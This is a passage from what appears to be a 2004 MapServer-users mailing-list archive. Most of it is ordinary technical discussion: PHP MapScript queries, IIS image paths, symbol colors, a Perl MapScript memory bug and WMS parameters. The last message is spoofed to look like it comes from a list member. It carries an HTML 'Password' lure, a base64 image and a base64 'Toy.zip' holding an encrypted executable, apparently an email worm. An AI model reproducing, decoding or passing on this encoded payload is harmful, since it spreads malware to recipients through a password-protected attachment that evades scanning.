to plot points on the map... I have a table of lat long coordinates in my MS-SQL Server database which i want to represent as a stars on my Map. Is it possible for me to represent them .. if yes how? Anothter problem i'm facing is trying to figure out the extents of the map...till now...i have been using the Hit and Trial method.... if somebody can help me with a better more logical method.... What exactly do those 4 long numbers represent? Thnks a lot jenu _________________________________________________________________ MSN Toolbar provides one-click access to Hotmail from any Web page ? FREE download! http://toolbar.msn.com/go/onm00200413ave/direct/01/ From eduardo at consultoria.eti.br Wed May 5 09:38:17 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Wed, 5 May 2004 13:38:17 -0300 Subject: [Mapserver-users] Which is better: PHPMapScript query engine or PHP dBase functions? In-Reply-To: <614FCE5F14A6D41180C200010240D6A25DC8DF@LINNMS> References: <614FCE5F14A6D41180C200010240D6A25DC8DF@LINNMS> Message-ID: <20040505163817.17526.qmail@hm47.locaweb.com.br> Thanks for all replies. By this time I decided to use the MapScript query engine because of portability: today my geodatabase is ShapeFiles, but tomorrow it could be PostGIS, MyGIS, ... so, I prefered Mapscript because I will be able to write only one code and query routines will be same. best. Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ***Fim da Mensagem / End of Message *** On Wed, 5 May 2004 09:02:39 -0700, "Ryan, Adam" escreveu: > De: "Ryan, Adam" > Data: Wed, 5 May 2004 09:02:39 -0700 > Para: norbert.thieme at ilmenau.baw.de, eduardo at consultoria.eti.br > Assunto: RE: [Mapserver-users] Which is better: PHPMapScript query engine or PHP dBase functions? > > > Norbert writes... > > >//this first part is a separate form but it should work also in one > > > >$recs = dbase_numrecords($dbi);//opened dbf > > > >$q_index_array = array();//save the indexes from the .dbf in this array > > > >for ($i = 1; $i < $recs; $i++) > >{ > > $s_field = dbase_get_record_with_names($dbi, ($i + 1)); > > > > if (!(strpos(strtolower($s_field[$qitem]), strtolower($qstring))) === > >false)) > > { > > $q_index_array[] = $i; > > } > >} > > This is too slow and limited. You should try the ODBC functions in PHP. > You can run SQL queries on a dbf file by regarding the directory in which > the file resides as the database. This gives you all the flexibility of SQL > statements. > > >for ($i = 0; $i < count($q_index_array); $i++) > >{ > > if (@$map->queryByIndex($qlayer->index, 0, $q_index_array[$i], > >MS_FALSE) == MS_SUCCESS) > > { > > $q_img = $map->drawquery(); > > $q_path = $q_img->savewebimage(); > > echo ""; > > } > >} > > I'm not sure I get this code. Seems like your stepping through a list of > index numbers, setting them with queryByIndex, but then drawing the map > after every index? I don't get it. The map should be drawn after iterating > through the whole array, no? > > Anyway, I think the two routines above are flawed in that the index values > in the shapefile and in the dBase file and not be assumed to be equal. If > I'm wrong about this I hope someone will correct me. They usually are the > same, but the whole point of the *.shx file is to reconcile differences in > the indexing. So you're taking the indexing from the dBase and applying > this to the shapefile and I think on careful examination on some of larger > file sets you'll find that what you're displaying textually and graphically > don't match. > > By the way, I've found that queryByIndex is way too slow. It works fine for > a small set of records, but with large selection sets I've found it's too > slow. I use save and load query as much as I can. > > Adam > > > -----Original Message----- > From: Norbert Thieme [mailto:norbert.thieme at ilmenau.baw.de] > Sent: Tuesday, May 04, 2004 1:20 AM > To: Ryan, Adam; eduardo at consultoria.eti.br > Cc: mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] Which is better: PHPMapScript query engine or > PHP dBase functions? > > > Ryan, Adam schrieb: > > Eduardo, > > > > I might be off track but... > > > > I thought about this myself. In order to display the result shapes > > you need to have a query result either from doing the query in > > mapscript or loading a saved query file. The former defeats the point > > of querying the dBase since you're duplicating your steps, and the > > later requires you to manually build a query file but you can't do > > that unless you can get at the dBase record - shapefile index > > relationship which I don't know how to do. > > > > Again, I may be off track, but querying the dBase file may not be > > feasible. > > > > Adam > > > > -----Original Message----- > > From: Eduardo Patto Kanegae [mailto:eduardo at consultoria.eti.br] > > Sent: Monday, May 03, 2004 11:06 AM > > To: mapserver-users at lists.gis.umn.edu > > Subject: [Mapserver-users] Which is better: PHPMapScript query engine or > PHP > > dBase functions? > > > > > > I have a mapserver+php+mapscript that will query on a shapefile > > database on a single layer, through its atributes. > > > > The system will give as result a set of items on a result list as a > > first step. Then as a second step a map displaying these results > > should be given. > > > > my doubt is: to create this result list which will be best strategy: > > - use PHPMapScript to query against the mapfile ? > > or > > - simply use PHP dBase functions to query against dBase files of the > > mapfile? > > > > which one is the best/fastest alternative? > > > > best regards. > > > > Eduardo Patto Kanegae > > http://www.consultoria.eti.br > > UIN: 303747254 > > > > I Encontro Nacional de Usu?rios MapServer - > > http://mapserver.cttmar.univali.br/encontro2004 > > Projeto MapServer Brasil - http://mapserver.cttmar.univali.br > > > > ***Fim da Mensagem / End of Message *** > > > > > > > > > > _______________________________________________ > > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > _______________________________________________ > > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > > > Hi, > > I think you can use both. If you use querybyattributes then you use the > ability of the mapserver to search only in your current extent. But you > have the problem that the qstring must be exactly the same (case > sensitive). If anyone knows a way (without much own code) to search with > the mapserver after only parts of words and case ignoring it would be > great if he shares it. Because that would work with all kinds of types > of data not only for shapes. > > For the other case I use the following code to search the way described > above - I cut it a bit: > > //this first part is a seperate form but it should work also in one > > $recs = dbase_numrecords($dbi);//opened dbf > > $q_index_array = array();//save the indexes from the .dbf in this array > > for ($i = 1; $i < $recs; $i++) > { > $s_field = dbase_get_record_with_names($dbi, ($i + 1)); > > if (!(strpos(strtolower($s_field[$qitem]), strtolower($qstring))) === > false)) > { > $q_index_array[] = $i; > } > } > > //second part - map > > for ($i = 0; $i < count($q_index_array); $i++) > { > if (@$map->queryByIndex($qlayer->index, 0, $q_index_array[$i], > MS_FALSE) == MS_SUCCESS) > { > $q_img = $map->drawquery(); > $q_path = $q_img->savewebimage(); > echo ""; > } > } > > Regards, > Norbert > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > From smenke at dataprose.com Wed May 5 11:33:32 2004 From: smenke at dataprose.com (smenke at dataprose.com) Date: Wed, 5 May 2004 11:33:32 -0700 Subject: [Mapserver-users] Map IMage Not Appearing (Newbie) Message-ID: <88256E8B.0065F3A2.00@tinman.dataprose.com> I have installed MS 4 and PHP_Mapscript on a Windows XP Pro machine, running IIS 5 and PHP 4.3.6. I also installed php_gd2. All of these work correctly. When I point my browser to the mapserv executable, it works as documented (returning "No query information to decode...). I downloaded and installed the demo package named "Workshop". My first attempt to use it failed as it could not find the map, so I modified index.html to use a Windows directory path. The map reference now points to: "c:\inetpub\wwwroot\workshop\itasca.map". Once I made the change, the map page (itasca_basic.html) does appear. However, there are no images on the page: the map image, the scalebar image, and the legend image are all missing. In index.html I changed the map_web_imagepath to a Windows path: "c:\inetpub\wwwroot\workshop\tmp\". This directory does exist and has appropriate permissions. But no luck here. In itasca.map I changed the SHAPEPATH to a Windows path: "c:\inetpub\wwwroot\workshop\data\". This resulted in no change. I have reviewed the installation instructions for both MapServer and MapScript, and have browsed this list...but I seem to be stuck at this point. Any help or pointers would be very much appreciated. Scott From samuzzal at linux.net Wed May 5 12:12:15 2004 From: samuzzal at linux.net (Sam Choudry) Date: Wed, 5 May 2004 12:12:15 -0700 (PDT) Subject: [Mapserver-users] QueryMap Problem Message-ID: <20040505191216.34485393E@sitemail.everyone.net> Hi, I successfully implemented the QueryByPoint() a few days back. Now, I am using the following QueryMap object in my map file to change the colour of the queried point. ... QUERYMAP STYLE HILITE COLOR 255 0 0 END ... LAYER NAME "pt-barama" DATA "pt-barama" TOLERANCEUNITS pixels TOLERANCE 5 STATUS ON TYPE POINT CLASS TEMPLATE "ttt-query.html" SIZE 6 COLOR 82 160 238 OUTLINECOLOR 82 160 238 SYMBOL 7 END # end of class object END ... And the symbol used is Symbol Name 'circle' Type ELLIPSE Filled TRUE Points 1 1 END END But the colour of the symbol is not changing. Can you give me any suggestion regarding this. Bye. Samuzzal _____________________________________________________________ Linux.Net -->Open Source to everyone Powered by Linare Corporation http://www.linare.com/ From ed at topozone.com Wed May 5 12:23:48 2004 From: ed at topozone.com (Ed McNierney) Date: Wed, 5 May 2004 15:23:48 -0400 Subject: [Mapserver-users] Map IMage Not Appearing (Newbie) Message-ID: <13858AA1A74F30419F319ACB66A9D1224E44B3@mercator.topozone.com> Scott - How do you define "appropriate permissions" for your tmp directory? Have you checked that the IUSR_ anonymous account has WRITE access to it in Explorer AND under IIS? - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 -----Original Message----- From: smenke at dataprose.com [mailto:smenke at dataprose.com] Sent: Wednesday, May 05, 2004 2:34 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Map IMage Not Appearing (Newbie) I have installed MS 4 and PHP_Mapscript on a Windows XP Pro machine, running IIS 5 and PHP 4.3.6. I also installed php_gd2. All of these work correctly. When I point my browser to the mapserv executable, it works as documented (returning "No query information to decode...). I downloaded and installed the demo package named "Workshop". My first attempt to use it failed as it could not find the map, so I modified index.html to use a Windows directory path. The map reference now points to: "c:\inetpub\wwwroot\workshop\itasca.map". Once I made the change, the map page (itasca_basic.html) does appear. However, there are no images on the page: the map image, the scalebar image, and the legend image are all missing. In index.html I changed the map_web_imagepath to a Windows path: "c:\inetpub\wwwroot\workshop\tmp\". This directory does exist and has appropriate permissions. But no luck here. In itasca.map I changed the SHAPEPATH to a Windows path: "c:\inetpub\wwwroot\workshop\data\". This resulted in no change. I have reviewed the installation instructions for both MapServer and MapScript, and have browsed this list...but I seem to be stuck at this point. Any help or pointers would be very much appreciated. Scott _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From kasey at inexo.com Wed May 5 12:59:39 2004 From: kasey at inexo.com (Kasey Kirkham) Date: Wed, 5 May 2004 12:59:39 -0700 Subject: [Mapserver-users] PHP/Mapscript - Point symbols appearing without color In-Reply-To: <88256E8B.0065F3A2.00@tinman.dataprose.com> Message-ID: <000001c432db$801da6b0$6401a8c0@wskasey> Hello all, We are noticing a strange problem with pixmap symbol layers. At certain zoom levels the symbols will appear with the correct color. At other levels the color will disappear, leaving the symbol black for several zoom levels, only to reappear upon zooming in a few levels further. The pixmaps are the standard colored dots that are packaged with Mapserver. Here are the relevant bits: // MAPFILE LAYER NAME "point_mapping-green" TYPE POINT STATUS ON # CLASS object CLASS NAME "points_green" SYMBOL "gps_coordinate-green" COLOR 255 0 0 # LABEL object LABEL POSITION CC SIZE TINY MINDISTANCE 400 MINFEATURESIZE 5 COLOR 255 255 255 PARTIALS FALSE END END END // SYMBOLSET file Symbol Name 'gps_coordinate-green' Type PIXMAP IMAGE "../markers/green8.png" Transparent 4 END // PHP Code foreach($point_array as $arPoints) { $pointObj_coord1 = ms_newPointObj(); // get a point object // set the X and Y $coord_1_x = $arPoints["longitude"]; $coord_1_y = $arPoints["latitude"]; $pointObj_coord1->setXY($coord_1_x, $coord_1_y); // get_unit_symbol would return 'point_mapping-green', in this case $layerObj_imageSymbol = $map->getLayerByName($currObjUnit->get_unit_symbol()); // draw the point $pointObj_coord1->draw($map, $layerObj_imageSymbol, $image, 0, ''); } Has anyone ever seen this type of behavior before? Thanks for your help, Kasey From steve.lime at dnr.state.mn.us Wed May 5 13:10:38 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Wed, 05 May 2004 15:10:38 -0500 Subject: [Mapserver-users] Re: [Mapserver-dev] Perl Mapscript 4 $image->free() bug Message-ID: I assume then that we should ditch the method in mapscript.i or more likely make it benign... Steve >>> Sean Gillies 5/4/2004 4:31:48 PM >>> Eric Bridger wrote: > Moving my Perl mapscript scripts to mapserver 4.0.2 and 4.2 beta1 I've > discovered a problem with the imageObj->free() method. > > I think I recall some recent posts with similiar problems on FreeBSD > systems. > > We are running: FreeBSD 4.8, Perl5.8.0 > Both: > MapServer version 4.2-beta1 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG > OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER > SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT > INPUT=POSTGIS INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE > > MapServer version 4.0.2 OUTPUT=GIF OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP > SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT > SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=POSTGIS INPUT=OGR > INPUT=GDAL INPUT=SHAPEFILE > > --without-tiff GDAL 1.1.9 > > At first I thought it might be an Apache/mod_perl issue. Apache log > showed messages like: > httpd in free(): warning: junk pointer, too high to make sense > mapserver.log showed occasional: > Tue May 4 14:33:30 2004 - msFreeImage(): General error message. Unknown > image type > > But the short script and map file below, run from the command line > produces ~ 900: > perl in free(): warning: page is already free > perl in free(): warning: junk pointer, too high to make sense > perl in free(): warning: chunk is already free > > Simple work around is to stop using $imageObj->free() which fixes the > problem. > [snip] Eric, There should be no need to free images. I've made changes to mapscript so that Perl's garbage collector sweeps up all instances of imageObj and calls the DESTROY method (known as ~imageObj() in mapscript.i). In fact, you shouldn't have to explicitly free any objects anymore. Sorry that I haven't made this clear in the development docs. If you don't want to wait for garbage collection, undef the instance rather than calling its free() method. cheers, Sean _______________________________________________ Mapserver-dev mailing list Mapserver-dev at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-dev From sgillies at frii.com Wed May 5 13:26:46 2004 From: sgillies at frii.com (Sean Gillies) Date: Wed, 05 May 2004 14:26:46 -0600 Subject: [Mapserver-users] Re: [Mapserver-dev] Perl Mapscript 4 $image->free() bug In-Reply-To: References: Message-ID: <40994E06.90608@frii.com> Check. http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=645 How about do nothing in 4.2 and go away entirely in 4.3? Sean Steve Lime wrote: > I assume then that we should ditch the method in mapscript.i or more > likely make it benign... > > Steve > > >>>>Sean Gillies 5/4/2004 4:31:48 PM >>> > > [snip] > > Eric, > > There should be no need to free images. I've made changes to > mapscript > so that Perl's garbage collector sweeps up all instances of imageObj > and calls the DESTROY method (known as ~imageObj() in mapscript.i). > In fact, you shouldn't have to explicitly free any objects anymore. > Sorry that I haven't made this clear in the development docs. > > If you don't want to wait for garbage collection, undef the instance > rather than calling its free() method. > > cheers, > Sean > From jvanulde at nrcan.gc.ca Wed May 5 14:11:37 2004 From: jvanulde at nrcan.gc.ca (Van Ulden, Joost) Date: Wed, 5 May 2004 17:11:37 -0400 Subject: [Mapserver-users] WMS Requires LAYERS parameter? Message-ID: <8AE17DD6AA4FD51191CD0002A551168101B89701@s5-van1-r1.ess.nrcan.gc.ca> Hello all, I am trying to switch over some of our WMS services to v4.1, rather unsuccessfully :(. For some reason 4.1 requires a LAYERS parameter... is this new? The spec indicates that you don't have to send a LAYERS parameter. Any ideas? Cheers, Joost From assefa at dmsolutions.ca Wed May 5 15:02:34 2004 From: assefa at dmsolutions.ca (Yewondwossen Assefa) Date: Wed, 05 May 2004 18:02:34 -0400 Subject: [Mapserver-users] WMS Requires LAYERS parameter? In-Reply-To: <8AE17DD6AA4FD51191CD0002A551168101B89701@s5-van1-r1.ess.nrcan.gc.ca> References: <8AE17DD6AA4FD51191CD0002A551168101B89701@s5-van1-r1.ess.nrcan.gc.ca> Message-ID: <4099647A.2040101@dmsolutions.ca> Van Ulden, Joost wrote: > Hello all, > > I am trying to switch over some of our WMS services to v4.1, rather > unsuccessfully :(. For some reason 4.1 requires a LAYERS parameter... is > this new? The spec indicates that you don't have to send a LAYERS > parameter. Any ideas? > The LAYERS parameter is Required for the GetMap request. Tests have been added in Version 4.1 to make sure that It is in the request. This was necessary to be able to pass OGC tests for compliance. > Cheers, > > Joost > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- ---------------------------------------------------------------- Assefa Yewondwossen Software Analyst Email: assefa at dmsolutions.ca http://www.dmsolutions.ca/ Phone: (613) 565-5056 (ext 14) Fax: (613) 565-0925 ---------------------------------------------------------------- From steve.lime at dnr.state.mn.us Wed May 5 17:42:18 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Wed, 05 May 2004 20:42:18 -0400 Subject: [Mapserver-users] Re: Document Message-ID: ----------kpchmwcfvrncrhzkuegh Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
Password -

----------kpchmwcfvrncrhzkuegh Content-Type: image/gif; name="ukxenruiwz.gif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="ukxenruiwz.gif" Content-ID: R0lGODlhPwAPAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A /wD//////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAz mQAzzAAz/wBmAABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDM mQDMzADM/wD/AAD/MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMz mTMzzDMz/zNmADNmMzNmZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPM mTPMzDPM/zP/ADP/MzP/ZjP/mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYz mWYzzGYz/2ZmAGZmM2ZmZmZmmWZmzGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbM mWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb//5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkz mZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZAJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnM mZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwAM8wAZswAmcwAzMwA/8wzAMwzM8wzZswz mcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZZsyZmcyZzMyZ/8zMAMzMM8zMZszM mczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8Amf8AzP8A//8zAP8zM/8zZv8z mf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+ZzP+Z///MAP/MM//MZv/M mf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAA/AA8AAAj/AP8JHEiwoMGD CBMqXMiwocOHECNKnPiwWqAZqwiuihKIYKwWq7YR3NailMB8hzhSXBil2r8WzwSumrEtSiyB sQLls0lwzwyX/2bmm3FoJcJALQS2KBp0z8uk/1q+vDKwVAupBK8aPTgjisAZUAXW7PKv2s+n Aqt1uZiPYDWQWw1eSVrTK0GM/0rZ7fovX4u3dmVGyRi34LOkh5kKPOT034wZ/0hmDBRo25WO blu0LUzwUKBYPHFiRmv5mdC3hAlGIcu5IGigh1qIVEr18DakXVvMGK2Ud+HY+UoRPgwUZ5Rt h1IHDbtK88finC1eSe1Tt26ZcHtqHrjqcszW4MOLA+ccEAA7/3//f/9//3//f/9//38AAP9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f18IXwj/f/9/XwhfCP9//3//f/9/X2tfCH8t /38fY18IX2v/f18IXwj/f/9/31p/Ld85Xwifc/9//3//f/9/P2dfCF9K/3//f/9//3//f/9/ /3//f/9//3//f/9//3//fwAA/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/H0JfCN97 /39fCN85/3//f19Kfy3/f18IXwj/f997XwjfWv9/XwhfCP9//3//fx9CXwhfCF9r/3//f/9/ /3//f18IXwj/f/9//3//f/9//3//f/9//3//f/9//3//f/9/AAD/f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//39/b18IH2Ofc18Iv1b/f/9/v1ZfCJ9zXwifUv9//3+/Vt85v3dfCJ9S /3//f/9/v3d/LV8IH2P/f/9/v1ZfCL93XwgfQv9//3//f/9//3//f/9//3//f/9//3//f/9/ /38AAP9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/X2vfOV8IX0r/f/9//3//f19K XwjfOb93/3//f/9/v1ZfCF9K33v/f/9//3//f19rXwhfSv9//3+/dx9CXwjfOb93/3//f/9/ /3//f/9//3//f/9//3//f/9//3//fwAA/3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/AAD/f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//38AAP9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9//3//f/9/ /3//f/9//3//f/9//3//f/9//3//f/9//3//fwAA ----------kpchmwcfvrncrhzkuegh Content-Type: application/octet-stream; name="Toy.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Toy.zip" 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 